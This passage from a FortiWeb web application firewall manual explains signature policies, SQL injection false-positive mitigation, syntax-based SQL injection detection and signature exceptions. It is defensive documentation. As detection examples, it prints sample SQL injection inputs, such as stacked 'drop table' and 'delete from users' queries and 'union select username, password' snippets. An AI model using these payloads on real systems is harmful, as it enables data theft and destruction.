2. If you require protection for Oracle padding attacks, configure a rule for it. For details, see ["Defeating cipher padding attacks on individually encrypted inputs"](#) on page 534.
3. Go to **Web Protection > Known Attacks > Signatures**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

4. Do one of the following:
 - To restrict the signature categories to ones that are relevant to the specific databases and web servers in your environment, click **Signature Wizard**. Then, follow the prompts to generate a custom signature policy. In the list of policies, to view and further configure the custom policy, double-click the name you specified .
 - To configure a signature rule using all available signatures, click **Create New**.

Configure these settings for signatures in policies:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Custom Signature Group	Select a custom signature group to use, if any. For details, see "False Positive Mitigation for SQL Injection signatures" on page 515. Attack log messages contain <code>Custom Signature Detection</code> and the name of the individual signature when this feature detects an

	attack. To view and/or edit the custom signature set, click the Detail link. The Edit Custom Signature Group dialog appears.
Status	Click to enable or disable the signature rule for this policy.
False Positive Mitigation	For signatures that FortiWeb uses to scan for SQL injection attacks, click to enable or disable additional SQL syntax validation. When this option is enabled and the validation is successful, FortiWeb takes the specified action. If it fails, FortiWeb takes no action. For details, see "False Positive Mitigation for SQL Injection signatures" on page 515. Attack log messages generated by signatures that support this feature have a False Positive Mitigation field. The value indicates whether FortiWeb identified the attack using the signature and additional SQL syntax validation ("Yes") or the just the signature ("No").
Action (column)	In each row, select the action that FortiWeb takes when it detects a violation of the rule. Supported options vary (available options are listed in the description for each specific rule), but may include: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 508). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421. • Redirect—Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure Redirect URL (page 269) and Redirect URL With Reason (page 269). • Send HTTP Response—Block and reply to the client with an HTTP error message and generate an alert email and/or log message.

You can customize the attack block page and HTTP error code that FortiWeb returns to the client. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

- **Alert & Erase**—Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, and generate an alert email and/or log message.

Caution: This option is not fully supported in Offline Protection mode. Only an alert and/or log message can be generated; sensitive information cannot be blocked or erased.

- **Erase, no Alert**—Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, but do **not** generate an alert email and/or log message.

Caution: This option is **not** supported in Offline Protection mode.

The default value is **Alert**. See also ["Reducing false positives"](#) on page 751.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 507) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period (column)

In each row, type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if the **Action** (page 507) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also ["Monitoring currently blocked IPs"](#) on page 735.

Severity (column)

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. In each row, select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium

	• High The default value is High.
Trigger Action (column)	In each row, select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of each rule. For details, see " Viewing log messages " on page 706.
Cross Site Scripting	Enable to prevent a variety of cross-site scripting (XSS) attacks, such as some varieties of CSRF (cross-site request forgery). All of this attack's signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box. Attack log messages contain <code>Cross Site Scripting</code> and the subtype and signature ID (for example, <code>Cross Site Scripting : Signature ID 010000063</code>) when this feature detects a possible attack. In the Action (page 507) column, select what FortiWeb does when it detects this type of attack.
Cross Site Scripting (Extended)	Enable to prevent a variety of XSS attacks. Unlike Cross Site Scripting (page 509), the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
SQL Injection	Enable to prevent SQL injection attacks, such as blind SQL injection. All of this attack's signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box. Attack log messages contain <code>SQL Injection</code> and the subtype and signature ID (for example, <code>SQL Injection : Signature ID 030000010</code>) when this feature detects a possible attack. Also configure False Positive Mitigation (page 507). In the Action (page 507) column, select what FortiWeb does when it detects this type of attack.
SQL Injection (Extended)	Enable to prevent a variety of SQL injection attacks. Unlike SQL Injection (page 509), the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually

	disable that signature.
SQL Injection (Syntax Based Detection)	Enable to prevent a variety of SQL injection attacks. The syntax based signatures use Lexical analysis with a SQL parser, SQL templates, and Abstract Syntax Trees to verify whether requests are true SQL Injection attacks. This virtually eliminates SQL Injection false positives and false negatives. According to possible injection points, Syntax Based Detection is further classified into detections of double-quote-based injection, single-quote-based injection and as-is-based injection. Note: the signature for SQL function based boolean injection is ONLY available in the As-Is category since it cannot be an independent injection in other types. For details, see "Syntax-based SQL injection detection" on page 516.
Generic Attacks	Enable to prevent other common exploits, including a variety of injection threats that do not use SQL, such as local file inclusion (LFI) and remote file inclusion (RFI). All of this attack's signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box. Attack log messages contain <code>Generic Attacks</code> and the subtype and signature ID (for example, <code>Generic Attacks-Command Injection : Signature ID 050050030</code>) when this feature detects a possible attack. In the Action column, select what FortiWeb will do when it detects this type of attack.
Generic Attacks (Extended)	Enable to prevent a variety of exploits and attacks. Unlike Generic Attacks (page 510), the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
Trojans	Enable to prevent malware attacks and prevent accessing Webshell located on server. Attack log messages contain Trojans and the subtype and signature (for example, <code>Trojans: Signature ID 070000001</code>) when this feature detects malware or Webshell. Attackers may attempt to upload Trojan horse code (written in scripting languages such as PHP and ASP) to the back-end web

Information Disclosure

servers. The Trojan then infects clients who access an infected web page.

Enable to detect server error messages and other sensitive messages in the HTTP headers, such as **CF Information Leakage** (Adobe ColdFusion server information).

All of this attack's signatures are automatically enabled when you enable detection. However, if one of the signatures is causing false positives and you need to instead configure a custom attack signature that will **not** cause false positives, you can individually disable that signature. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box.

Error messages, HTTP headers such as `Server: Microsoft-IIS/6.0`, and other messages could inform attackers of the vendor, product, and version numbers of software running on your web servers, thereby advertising their specific vulnerabilities.

Sensitive information is detected according to fixed signatures.

Attack log messages contain `Information Disclosure` and the subtype and signature (for example, `Information Disclosure-HTTP Header Leakage : Signature ID 080200001`) when this feature detects a possible leak.

In the **Action** column, select what FortiWeb does when it detects this type of attack:

- **Alert**

Note: Does **not** cloak, except for removing sensitive headers. (Sensitive information in the body remains unaltered.)

- **Alert & Erase**—Hide replies with sensitive information (sometimes called "cloaking"). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message.

If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code.

Note: This option is not fully supported in Offline Protection mode. Effects will be identical to **Alert**; sensitive information will not be blocked or erased.

- **Period Block**

- **Redirect**

Tip: Some attackers use 4XX and 5XX HTTP response codes for website reconnaissance when identifying potential targets: to determine whether a page exists, has login failures, is Not

Implemented, Service Unavailable, etc. Normally, the FortiWeb appliance records attack logs for 4XX and 5XX response codes, but HTTP response codes are also commonly innocent, and too many HTTP response code detections may make it more difficult to notice other information disclosure logs. To disable response code violations, disable both the *HTTP Return Code 4XX* and *HTTP Return Code 5XX* options in this rule's area.

Tip: Because this feature can potentially require the FortiWeb appliance to rewrite the header and body of **every** request from a server, it can decrease performance. To minimize impact, Fortinet recommends enabling this feature **only** to help you identify information disclosure through logging, and **until** you can reconfigure the server to omit such sensitive information.

Bad Robot

Enable to analyze the `User-Agent`: HTTP header and block known content scrapers, spiders looking for vulnerabilities, and other typically unwanted automated clients.

FortiWeb predefined signatures for many well-known robots, such as link checkers, search engine indexers, spiders, and web crawlers for Google, Baidu, and Bing, which you can use to restrict access by Internet robots such as web crawlers, as well as malicious automated tools.

Search engines, link checkers, retrievals of entire websites for a user's offline use, and other automated uses of the web (sometimes called robots, spiders, web crawlers, or automated user agents) often access websites at a more rapid rate than human users. However, it would be unusual for them to request the same URL within that time frame.

Usually, web crawlers request many different URLs in rapid sequence. For example, while indexing a website, a search engine's web crawler may rapidly request the website's most popular URLs. If the URLs are web pages, it may also follow the hyperlinks by requesting all URLs mentioned in those pages. In this way, the behavior of web crawlers differs from a typical brute force login attack, which focuses repeatedly on one URL.

Some robots, however, are not well-behaved. You can request that robots not index and/or follow links, and disallow their access to specific URLs (see <http://www.robotstxt.org/>). However, misbehaving robots frequently ignore the request, and there is no single standard way to rate-limit robots.

To verify that bad robot detection is being applied, attempt to download a web page using `wget` (<http://www.gnu.org/software/wget>), which is sometimes used for content scraping.

Credit Card Detection

Enable to detect credit card numbers in the response from the server.

Also configure **Credit Card Detection Threshold** (page 513) below.

Credit card numbers being sent from the server to the client, especially on an unencrypted connection, constitute a violation of PCI DSS. In most cases, the client should only receive mostly-obscured versions of their credit card number, if they require it to confirm which card was used. This prevents bystanders from viewing the number, but also reduces the number of times that the actual credit card number could be observed by network attackers. For example, a web page might confirm a transaction by displaying a credit card number as:

```
XXXX XXXX XXXX 1234
```

This mostly-obscured version protects the credit card number from unnecessary exposure and disclosure. It would **not** trigger the credit card number detection feature.

However, if a web application does not obscure displays of credit card numbers, or if an attacker has found a way to bypass the application's protection mechanisms and gain a list of customers' credit card numbers, a web page might contain a list with many credit card numbers in clear text. Such a web page would be considered a data leak, and trigger credit card number disclosure detection.

Attack log messages contain `Credit Card Detection` and the subtype and signature (for example, `Credit Card Detection : Signature ID 1000000001`) when this feature detects a credit card disclosure.

In the **Action** column, select what FortiWeb does when it detects this type of attack.

Credit Card Detection Threshold

Enter a threshold if the web page must contain a number of credit cards that equals or exceeds the threshold in order to trigger the credit card number detection feature.

For example, to ignore web pages with only one credit card number, but to detect when a web page containing two or more credit cards, enter 2.

The valid range is 1-128.

5. Click **OK**.

6. If you enabled **Information Disclosure** (page 511), **Trojans** (page 510), or **Credit Card Detection** (page 512), configure a decompression rule. For details, see "[Configuring temporary decompression for scanning & rewriting](#)" on page 647.



Failure to configure a decompression rule, or, for HTTPS requests, to provide the server's x.509 certificate in either **Certificate** (page 282) or **Certificate File** (page 403) will result in FortiWeb being unable to scan requests. This effectively disables those features.

7. To apply the signature rule, select it in an inline protection profile or an Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.
8. If Device Tracking is enabled in a web protection profile and a selected device reputation security policy uses signatures, it is possible to adjust the threat weight of each signature. Go to **Signature Details**, select a signature, and adjust its weight in the **Threat Weight** tab. For details, see ["Blocking client devices with poor reputation"](#) on page 493.
9. To verify your configuration, attempt a request that should be detected and/or blocked by your configuration.



Instead of actually executing the exploit or uploading a virus, attempt a harmless script with similar syntax, or upload an EICAR (<http://www.eicar.org/85-0-Download.html>) file. Alternatively, test your configuration in a non-production environment.

If detection fails:

- Verify that routing and TCP/IP-layer firewalling does not prevent connectivity.
- Verify that your simulated attack operates on either the HTTP header or HTTP body, whichever component is analyzed by that feature.
- If the feature operates on the HTTP body, verify that `http-cachesize` is large enough, or that you have configured to **Body Length** block requests that exceed the buffer limit. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

- If the HTTP body is compressed, verify that **Maximum Antivirus Buffer Size** (page 191) is large enough, or that you have configured to **Body Length** block requests that exceed the buffer limit.
- If you enabled **Trojans**, verify that you have also configured its configuration dependencies. For details, see ["Limiting file uploads"](#) on page 590.
- If the feature operates on the parameters in the URL line in the HTTP headers, verify that the total parameter length. After URL decoding, if required, configure **Recursive URL Decoding** (page 671) is not larger than the buffer size of **Total URL Parameters Length** (page 570) or **Total URL Parameters Length** (page 570).

10. If normal input for some URLs accidentally matches a signature, either create and use a modified version of it instead via custom signatures, or create exceptions. For details, see ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519.

See also

- ["Filtering signatures"](#) on page 524
- ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519
- ["Sequence of scans"](#) on page 56
- ["Preventing zero-day attacks"](#) on page 553
- ["Limiting file uploads"](#) on page 590
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193
- ["IPv6 support"](#) on page 60

False Positive Mitigation for SQL Injection signatures

The signatures that FortiWeb uses to detect SQL injection attacks are classified into three classes: SQL injection, SQL injection (Extended) and SQL injection (Syntax Based Detection). You can see them being listed in a signature policy. For details, see ["Blocking known attacks & data leaks"](#) on page 505.

When SQL injection or SQL injection (Extended) is enabled, FortiWeb scans the requests and matches them with the signatures based on pattern recognition (multi-pattern keyword and regular expression patterns). However, such an approach may cause false positives; one normal request might be mistakenly marked as a SQL injection attack. For example, the below requests will match the signature and trigger a false positive because the second request has the key words `select` and `user` in the parameter value:

```
GET /test.asp?id=1 and 0<>(select count(*) from user_table where user like 'admin')
HTTP/1.1
```

```
GET /test.asp?text= please select a user from the group to test our new product HTTP/1.1
```

When False Positive Mitigation is enabled, a triggered signature request is processed further to validate whether it contains valid SQL content.

To verify whether the request is an SQL injection, FortiWeb uses lexical analysis which converts the statement characters in the request into a sequence of tokens. It then runs the tokens through different built-in SQL templates and using a SQL parser it validates whether this is a true SQL structure. If it is then this event is not a false positive and FortiWeb triggers the signature violation action



Syntax-based SQL injection detection uses a new approach based on lexical and syntax analysis to detect SQL injection attacks without false positives and false negatives. Therefore, it does not require False Positive Mitigation.

Syntax-Based SQL Injection detection is configured with signatures for your convenience; these are not technically signatures and do not use regex and pattern matching.

Enable False Positive Mitigation for SQL Injection and SQL Injection (Extended)

When you enable **SQL Injection** and/or **SQL Injection (Extended)** in a signature policy, you can also enable False Positive Mitigation for those signatures.

1. Go to **Web Protection > Known Attacks > Signatures**.
2. Select the signature policy to open the edit panel.
3. Click the buttons for **SQL Injection** and/or **SQL Injection (Extended)** in the **False Positive Mitigation** field on the table.

Alternatively, you can apply False Positive Mitigation to SQL Injection and/or SQL Injection (Extended) when editing the signatures. From **Web Protection > Known Attacks > Signatures** view or edit a signature policy and click **Signature Details**. Select the **SQL Injection** and/or **SQL Injection (Extended)** folder and enable **False Positive Mitigation**.

4. Optionally, define specific signatures to which you would not like to apply **False Positive Mitigation**. By default, when you enable **False Positive Mitigation**, it applies to all supported signatures. You can select specific signatures and disable **False Positive Mitigation**.

Syntax-based SQL injection detection

Using regular expression-based signatures to detect SQL injection attacks is core to a WAF solution. However, due to the nature of the SQL language being similar to English grammar, false positives can occur together with false negatives as evasion techniques evolve. For example, one regex rule cannot completely cover all the variables of a SQL injection type, such as:

```
SELECT * FROM users WHERE id = 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR abc=abc
SELECT * FROM users WHERE id = 1 OR 3<5
SELECT * FROM users WHERE id = 1 OR UTC_DATE()=UTC_DATE()
```

It is a continuous and tedious process to maintain and update the signatures to address new evasion techniques and to tune false positives.

To address this, FortiWeb's Syntax-based SQL injection detection detects a SQL injection attack by analyzing the lexeme and syntax of SQL language rather than using a pattern matching mechanism. It first turns the input statement into a sequence of tokens, and then turns the sequence of tokens into an abstract syntax tree (AST), which is a representation of the abstract syntactic structure of the input statement. The parser compares the produced AST with the AST of built-in standard SQL statements to check whether they have the same AST structure. If the syntactic structures are different, FortiWeb recognizes it as a SQL injection attempt and then triggers the violation action.

How syntax-based SQL injection detection works

When clients access web applications, they input values in fields rather than the entire SQL statement. The application inserts the values into an SQL statement and sends the query to the database.

For example, you may be asked to enter the employee ID on the web page when you want to check someone's profile. The employee ID is the condition value for the query, and it is sent to the web server by a request:

```
GET /employee_profile.asp?employee_id=20001 HTTP/1.1
```

Then the received value 2001 will be combined with a SQL template to generate a SQL statement for the query:

```
select * from employee where employee_no = 2001
```

However, if a client inputs the condition value with a snippet such as `1 or 1 = 1`, it might be a SQL injection attempt.

When syntax-based SQL injection detection is enabled, the snippets in requests will be processed by SQL template combination, grammar parsing, and an AST comparison to validate whether it is a SQL injection. For example, the snippet `1 or 1 = 1` will be extracted from request

```
GET /employee_profile.asp?employee_id=1 or 1 = 1 HTTP/1.1
```

and combined with a FortiWeb built-in template

```
select * from t where v = [injection point]
```


to generate the SQL statement

```
select * from t where v = 1 or 1 = 1
```


FortiWeb runs the process to build an AST for the target SQL statement and compare it with the FortiWeb built-in standard AST to see if they have the same structure. Different but equivalent SQL statements yield the same AST structure, and nonequivalent SQL statements have different AST structures. For example, here is a built-in standard statement and two target statements:

- Built-in standard statement: `select * from t where v = 1`
- Target statement 1: `select * from t where v = WAF products`
- Target statement 2: `select * from t where v = 1 or 1 = 1`

The first target statement is equivalent to the built-in standard statement. Each has the same AST structure as illustrated below:



The second target statement is not equivalent to the built-in standard statement:



They are different AST structures, and as a result FortiWeb will detect an SQL injection attempt.

Built-in SQL statement templates

To address all possible injection points FortiWeb needs to first understand the probable context of SQL statements. The common three options are:

```
select * from employee where employee_no = "2001"
select * from employee where employee_no = '2001'
select * from employee where employee_no = 2001
```

To cover all cases that an attacker might try, Syntax-based SQL Injection Detection employs the following three templates:

- **Double Quote Based SQL Injection:** `select * from t where v = "[injection point]"`
- **Single Quote Based SQL Injection:** `select * from t where v = '[injection point]'`
- **As-Is Based SQL Injection:** `select * from t where v = [injection point]`

By default, FortiWeb enables all three templates. While you can disable each one, it is not recommended to do so unless you're absolutely certain that this query type is not supported by the database.

SQL injection types

Once a snippet is identified as an SQL injection, FortiWeb will describe the SQL injection types and show corresponding ASTs, such as:

SQL Injection (Syntax Based Detection)
 Double Quote Based SQL Injection
 Single Quote Based SQL Injection
 As-Is Based SQL Injection

As-Is Based SQL Injection

Search Description

Signature ID	Status	Description
120030001	Enable	Stacked queries SQL injection
120030002	Enable	Embedded queries SQL injection
120030003	Enable	Condition based boolean injection
120030004	Enable	Arithmetic operation based boolean injection
120030005	Enable	Line comments
120030006	Enable	SQL function based boolean injection

Match Example

HTTP1X HTTP2

```
GET /test.asp?id=1%3B+drop+table+admin%3B
HTTP/1.1
Referer: http://yoursite.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; SV1;.NET CLR 1.1.4322)
Pragma: no-cache
Accept: */*
Host: yoursite.com
Connection: Keep-Alive
Cookie: CustomCookie=WebInspect0
```

Signature ID: 120030001

Signature Exception Threat Weight

Signature ID: 120030001

HTTP/2 Compatible

Alert Only: ☐

SQL AST (abstract syntax tree) Changes:

SQL AST structure with normal user input

```

graph LR
    SELECT --> column_desc[column:desc]
    column_desc --> FROM
    FROM --> table_profiles[table:profiles]
    WHERE_CONDITION1[WHERE-CONDITION1] --> user_id
    user_id --> equals[=]
    equals --> 1
  
```

SQL AST structure with malicious user input

```

graph LR
    SELECT --> column_desc[column:desc]
    column_desc --> FROM
    FROM --> table_profiles[table:profiles]
    WHERE_CONDITION1[WHERE-CONDITION1] --> user_id
    user_id --> equals[=]
    equals --> 1
    DROP_TABLE[DROP TABLE] --> admin
  
```

SQL Injection types

Snippet examples

Stacked queries SQL injection

1; delete from users

Embedded queries

```
1 union select username, password from
users
1 /*! ; drop table admin */
```

Condition based boolean injection

```
1 /**/OR/**/1/**/=/**/1
1 OR 'abc'='abc'
case 1 when 2 then 2 end
1 || user_id is not null
```

Arithmetic operation based boolean injection

```
a+'b
A' DIV 'B
A' & 'B
```

Line comments

```
1"--
1 #abc
```

SQL function based boolean injection

ascii(substring(length(version()),1,1))

Enable Syntax Based SQL Injection detection

1. Go to **Web Protection > Known Attacks > Signatures**, select existing signature policy or create a new one.
2. Click the status button for **SQL Injection (Syntax Based Detection)** to enable it, and double-click to set the **Action**, **Block Period**, **Severity** and **Trigger Action** for the policy. For more information about these options, see ["To configure a signature rule"](#) on page 506.



It is recommended to disable categories **SQL Injection** and **SQL Injection (Extended)** when **SQL Injection (Syntax Based Detection)** is enabled.

3. While not recommended, enable/disable individual templates and signatures if necessary. For details, see ["Built-in SQL statement templates"](#) on page 517.

Configuring action overrides or exceptions to data leak & attack detection signatures

You can configure FortiWeb to omit attack signature scans in some cases. You can also configure the signature to generate a log or alert only instead of simply blocking the attack.

Exceptions are useful when you know that some parameters cause false positives by matching an attack signature during normal use. Signature exceptions define request parameters that are **not** subject to signature rules. You can define exceptions using the following request elements:

- HTTP method
- Client IP
- Host
- URI
- Full URL
- Parameter
- Cookie

For example, the HTTP `POST` URL `/pageupload` accepts input that is PHP code, but it is the **only** URL on the host that does. Create an exception that, in the **PHP Injection** category, disables that specific signature ID for the URL `/pageupload` in the signature rule that normally blocks all injection attacks.



If you are not sure which exceptions to create, examine your attack log for messages generated by normal traffic on servers that are not actually vulnerable to that attack. Click the Message field content, and then click **Add Exception**.

To configure a signature exception, action override, or disable a signature

1. Go to **Web Protection > Known Attacks > Signatures**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Select a signature policy and click **Edit**.

Note: You can only view predefined signature policies. To further configure predefined policies, first clone them and then begin editing.

3. Click **Signature Details**.

4. In the signature tree on the left, click a signature folder to open the category in which you want to disable a specific signature. Select an individual sub-category to display a list of individual signature IDs in the pane to the right. Optionally, in the pane that lists individual signatures, click **Search**.

5. Click the row of the signature ID to disable.

The selected signature row is highlighted in yellow.

6. To **disable** the signature for this rule, or globally, right-click the signature's row and select to disable the signature in the current policy or in all policies.

7. On the Signature tab, do the following:

- If you want to receive **only logs or alert email** about detections, but do not want to block matching requests, in the **Signature** tab, select **Alert Only**.
- For the signatures that support False Positive Mitigation, if you want to disable False Positive Mitigation to a signature, un-check **False Positive Mitigation Support**. For details, see "[False Positive Mitigation for SQL Injection signatures](#)" on page 515.

8. If you want to **exempt** specific host name/URL combinations, in the Signature ID pane on the right side, select the **Exception** tab and click **Create New**.

Note: You can create up to 128 exceptions for each signature.

9. For **Element Type**, select the type of request element to exempt from this signature and configure these settings:

HTTP Method	
Operation	• Include—FortiWeb does not perform a signature scan for requests that include the specified HTTP methods. • Exclude—FortiWeb only performs signature scans for requests that include the specified HTTP methods.
HTTP Method	Select the methods to include or exclude from the signature exemption.
Client IP	
Operation	• Equal—FortiWeb does not perform a signature scan for requests with a client IP address or IP range that matches the value of Client IP. • Not Equal—FortiWeb only performs a signature scan for requests with a client IP address or IP range that matches the value of Client IP.
Client IP	Specify the client IP address or IP range that FortiWeb uses to determine whether or not to perform a signature scan for the request.
Host	

Operation	• String Match—Value is a literal host name. • Regular Expression Match—Value is a regular expression that matches all and only the hosts that the exception applies to.
Value	Specifies the <code>Host :</code> field value to match. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
URI	
Operation	• String Match—Value is a literal URL. • Regular Expression Match—Value is a regular expression that matches all and only the URIs that the exception applies to.
Value	Specifies a URL value to match. The value does not include parameters. For example, <code>/testpage.php</code>, which match requests for <code>http://www.test.com/testpage.php?a=1&b=2</code>. If Operation is String Match, ensure the value starts with a forward slash (<code>/</code>) (for example, <code>/causes-false-positives.php</code>). If Operation is Regular Expression Match, the value does not require a forward slash (<code>/</code>). However, ensure that it can match values that contain a forward slash. Do not include a domain name or parameters. To match a domain name, use the Host element type. To match a URL that includes parameters, use the Full URL type. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Full URL	
Operation	• String Match—Value is a literal URL. • Regular Expression Match—Value is a regular expression that matches all and only the URLs that the exception applies to.
Value	Specifies a URL value that includes parameters to match. For example, <code>/testpage.php?a=1&b=2</code>, which match requests for <code>http://www.test.com/testpage.php?a=1&b=2</code>. If Operation is String Match, ensure the value starts with a forward slash (<code>/</code>) (for example, <code>/testpage.php?a=1&b=2</code>). If Operation is Regular Expression Match, the value does not require a forward slash (<code>/</code>). However, ensure that it can match values that contain a forward slash.

Do not include a domain name. To match a domain name, use the Host element type. To match a URL that does not include parameters, use the URI type. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.	
Parameter	
Operation	• String Match—Name is the literal name of a parameter. • Regular Expression Match— Name is a regular expression that matches all and only the name of the parameter that the exception applies to.
Name	Specifies the name of the parameter to match. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Check Value of Specified Element	Enable to specify a parameter value to match in addition to the parameter name.
Value	Specifies the parameter value to match. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Cookie	
Operation	• String Match—Name is the literal name of a cookie. • Regular Expression Match— Name is a regular expression that matches all and only the name of the cookie that the exception applies to.
Name	Specifies the name of the cookie to match. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Check Value of Specified Element	Select to specify a cookie value to match in addition to the cookie name.
Value	Specifies the cookie value to match. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Concatenate	• And—A matching request matches this entry in addition to other entries in the exemption list. • Or—A matching request matches this entry instead of other entries in the exemption list.

Later, you can use the exception list options to adjust the matching sequence for entries. For details, see ["Example: Concatenating exceptions"](#) on page 524.

10. Click **Apply**.

11. Repeat the previous steps for each entry that you want to add to the signature exception.

FortiWeb generates a dynamic description of the match sequence you created and displays it at the top of the exception list. You can adjust the sequence using the move options (up and down arrows).

To configure Signatures Exception Rules in attack logs

1. Go to **Log&Report > Log Access > Attack**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log&Report** category. For details, see ["Permissions"](#) on page 85.

2. Select an attack for which you would like to create an exception.

3. In the window that populates to the right, click the **Message** information and select **Add Exception** as illustrated below:

The screenshot shows the FortiWeb 'Attacks' tab. On the left is a table of attack logs with columns: #, Date/Time, Source Country, Policy, Source, Destination, and Threat Level. Row 1 is highlighted. On the right is a detailed view of the selected attack entry, showing fields like Source Country, HTTP Content Routing, Server Pool, Username, Monitor Mode, HTTP Referer, Client Device ID, Threat Level, Threat Weight, Historical Threat Weight, User Agent, Message, Connection, and Matched pattern. A context menu is open over the 'Message' field, showing options: Add Exception, Alert Only, Disable Signature, and View Signature. A mouse cursor is pointing at 'Add Exception'.

#	Date/Time	Source Country	Policy	Source	Destination	Threat Level
1	12:24:14	Reserved	p2	10.1.50.101	10.1.51.102	-----
2	12:24:14	Reserved	p2	10.1.50.101	10.1.51.101	-----
3	12:24:14	Reserved	p2	10.1.50.101	10.1.51.101	-----
4	12:24:13	Reserved	p2	10.1.50.101	10.1.51.102	-----
5	12:24:13	Reserved	p2	10.1.50.101	10.1.51.102	-----
6	12:24:13	Reserved	p2	10.1.50.101	10.1.51.101	-----
7	11:15:28	Reserved	p2	10.1.50.101	10.1.51.102	-----
8	11:15:28	Reserved	p2	10.1.50.101	10.1.51.101	-----
9	11:15:28	Reserved	p2	10.1.50.101	10.1.51.101	-----
10	11:15:28	Reserved	p2	10.1.50.101	10.1.51.102	-----
11	11:15:28	Reserved	p2	10.1.50.101	10.1.51.102	-----
12	11:15:27	Reserved	p2	10.1.50.101	10.1.51.101	-----
13	10:02:40	Reserved	p2	10.1.50.101	10.1.51.102	-----
14	10:02:40	Reserved	p2	10.1.50.101	10.1.51.101	-----
15	10:02:40	Reserved	p2	10.1.50.101	10.1.51.101	-----
16	10:02:40	Reserved	p2	10.1.50.101	10.1.51.102	-----

Source Country	Reserved
HTTP Content Routing	none
Server Pool	sp1
Username	Unknown
Monitor Mode	Disabled
HTTP Referer	none
Client Device ID	none
Threat Level	-----
Threat Weight	10
Historical Threat Weight	0
User Agent	curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3
Message	Generic Attacks-SRC Disclosure : Signature ID 050160001
Connection	10.1.50.101:59928 -> 10.1.51.102:80
Matched pattern	js%70

4. For **Signature Policy Name**, select the signature policy for which you want to create an exception.

5. For **Element Type**, select the type of request element for the exception.

6. Enable **Advance Mode**.

7. Refer to the table in [Step 9](#) on page 520 to complete the exception rule based on the **Element Type** you selected.

8. Click **OK**.

See also

- ["Blocking known attacks & data leaks"](#) on page 505
- ["Filtering signatures"](#) on page 524

Example: Concatenating exceptions

The illustration displays the following signature exception configuration:

- The concatenate type for the HTTP Method exception rule (ID 2) is **And**.
- The concatenate type for the Client IP rule (ID 3) is **Or**.
- The concatenate type for the URI rule has no effect, because it is the first rule.

Signature ID: 010000001

Signature	Exception	Threat Weight		
Match Sequence: (1 And 2) OR (3)				
+ Create New Edit Delete Insert				
☐	ID	Element Type	Value	Move
☐	1	URI	/1.html	↑ ↓
☐	2	HTTP Method		↑ ↓
		OR		
☐	3	Client IP	1.1.1.1	↑ ↓

